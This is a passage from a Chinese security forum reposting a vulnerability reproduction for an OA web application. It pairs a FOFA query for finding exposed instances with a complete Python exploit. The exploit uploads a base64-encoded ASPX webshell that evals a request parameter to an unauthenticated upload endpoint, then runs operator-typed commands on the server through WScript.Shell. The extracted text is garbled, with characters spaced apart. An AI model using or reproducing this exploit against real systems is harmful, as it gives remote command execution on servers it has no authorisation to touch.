[7543] 2021-03-17_漏洞复现记一次通用漏洞0

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-17
2021-03-17_漏洞复现记一次通用漏洞0   |   0   p a i d a   F 1 2 s e c   2 0 2 1 - 0 3 - 1 7   #   , 1 1     P e i Q i 0 d a y P a r t . 1  
        F O F A         b o d y = " D C _ L o g i n / Q Y S i g n U p "         4 8 * 3 = 1 5 0 + . a s p x   线 P a r t . 2   P O C P O C i m p o r t   r e q u e s t s
                      |   + N d a y                       |   b y p a s s i m p o r t   s y s i m p o r t   r a n d o m i m p o r t   r e i m p o r t   b a s e 6 4 i m p o r t   t i m e f r o m   r e q u e s t s . p a c k a g e s . u r l l i b 3 . e x c e p t i o n s   i m p o r t   I n s e c u r e R e q u e s t W a r n i n g d e f   t i t l e ( ) :         p r i n t ( ' + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' )         p r i n t ( ' +     0 3 3 [ 3 4 m P O C _ D e s :   h t t p : / / w i k i . p e i q i . t e c h                                                                       0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m G i t h u b   :   h t t p s : / / g i t h u b . c o m / P e i Q i 0                                                                   0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m     :   P e i Q i                                                                                                       0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m V e r s i o n :                                                                                           0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 6 m 使 :     p y t h o n 3   p o c . p y                                                                                         0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 6 m U r l                   > > >   h t t p : / / x x x . x x x . x x x . x x x                                                           0 3 3 [ 0 m ' )         p r i n t ( ' + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' ) d e f   P O C _ 1 ( t a r g e t _ u r l ) :         v u l n _ u r l   =   t a r g e t _ u r l   +   " / D C _ O A _ W J G / U p l o a d "         h e a d e r s   =   {                 " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 6 . 0 . 4 2 4 0 . 1 1 1   S a f a r i / 5 3 7 . 3 6 " ,                 " C o n t e n t - T y p e " :   " m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y N x q O H x b H q t 9 m f 7 s 5 " ,         }         d a t a   =   b a s e 6 4 . b 6 4 d e c o d e ( " L S 0 t L S 0 t V 2 V i S 2 l 0 R m 9 y b U J v d W 5 k Y X J 5 T n h x T 0 h 4 Y k h x d D l t Z j d z N Q p D b 2 5 0 Z W 5 0 L U R p c 3 B v c 2 l 0 a W 9 u O i B m b 3 J t L W R h d G E 7 I G 5 h b W U 9 I n V w R m l s Z S I 7 I G Z p b G V u Y W 1 l P S J Q Z W l R a S 5 h c 3 B 4 I g p D b 2 5 0 Z W 5 0 L V R 5 c G U 6 I G F w c G x p Y 2 F 0 a W 9 u L 2 9 j d G V 0 L X N 0 c m V h b Q o K P H N j c m l w d C B s Y W 5 n d W F n Z T 0 i S l N j c m l w d C I g c n V u Y X Q 9 I n N l c n Z l c i I + Z n V u Y 3 R p b 2 4 g U G F n Z V 9 M b 2 F k K C l 7 Z X Z h b C h S Z X F 1 Z X N 0 W y J Q Z W l R a S J d L C J 1 b n N h Z m U i K T t 9 P C 9 z Y 3 J p c H Q + C g o t L S 0 t L S 1 X Z W J L a X R G b 3 J t Q m 9 1 b m R h c n l O e H F P S H h i S H F 0 O W 1 m N 3 M 1 L S 0 = "         t r y :                 r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( I n s e c u r e R e q u e s t W a r n i n g )                 r e s p o n s e   =   r e q u e s t s . p o s t ( u r l = v u l n _ u r l ,   d a t a = d a t a ,   h e a d e r s = h e a d e r s ,   v e r i f y = F a l s e ,   t i m e o u t = 5 )                 p r i n t ( " 0 3 3 [ 3 6 m [ o ]     { } / D C _ O A _ W J G / U p l o a d   . . . . .   0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ) )                 i f   ' t r u e '   i n   r e s p o n s e . t e x t   a n d   ' p a t h '   i n   r e s p o n s e . t e x t   a n d   r e s p o n s e . s t a t u s _ c o d e   = =   2 0 0 :                         p r i n t ( " 0 3 3 [ 3 2 m [ o ]     { }     W e b s h e l l 0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ) )                         w e b s h e l l _ p a t h   =   r e . f i n d a l l ( r ' " p a t h " : " ( . * ? ) " ' ,   r e s p o n s e . t e x t ) [ 0 ]                         p r i n t ( " 0 3 3 [ 3 2 m [ o ]   W e b s h e l l :   { } / { }   0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ,   w e b s h e l l _ p a t h ) )                         w h i l e   T r u e :                                 C m d   =   s t r ( i n p u t ( " 0 3 3 [ 3 5 m C m d   > > >   0 3 3 [ 0 m " ) )                                 c m d _ u r l   =   t a r g e t _ u r l   +   " / "   +   w e b s h e l l _ p a t h   +   " ? P e i Q i = R e s p o n s e . W r i t e ( n e w % 2 0 A c t i v e X O b j e c t ( % 2 2 W S C R I P T . S h e l l % 2 2 ) . e x e c ( % 2 2 c m d % 2 0 / c % 2 0 { } % 2 2 ) . S t d O u t . R e a d A l l ( ) ) ; " . f o r m a t ( C m d )                                 r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( I n s e c u r e R e q u e s t W a r n i n g )                                 r e s p o n s e   =   r e q u e s t s . g e t ( u r l = c m d _ u r l ,   d a t a = d a t a ,   h e a d e r s = h e a d e r s ,   v e r i f y = F a l s e ,   t i m e o u t = 5 )                                 p r i n t ( " 0 3 3 [ 3 2 m [ o ]   : n { }   0 3 3 [ 0 m " . f o r m a t ( r e s p o n s e . t e x t ) )                 e l s e :                         p r i n t ( " 0 3 3 [ 3 1 m [ x ]     { }   W e b s h e l l 0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ) )                         s y s . e x i t ( 0 )         e x c e p t   E x c e p t i o n   a s   e :                 p r i n t ( " 0 3 3 [ 3 1 m [ x ]     0 3 3 [ 0 m " ,   e ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         t i t l e ( )         t a r g e t _ u r l   =   s t r ( i n p u t ( " 0 3 3 [ 3 5 m P l e a s e   i n p u t   A t t a c k   U r l n U r l   > > >   0 3 3 [ 0 m " ) )         P O C _ 1 ( t a r g e t _ u r l )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则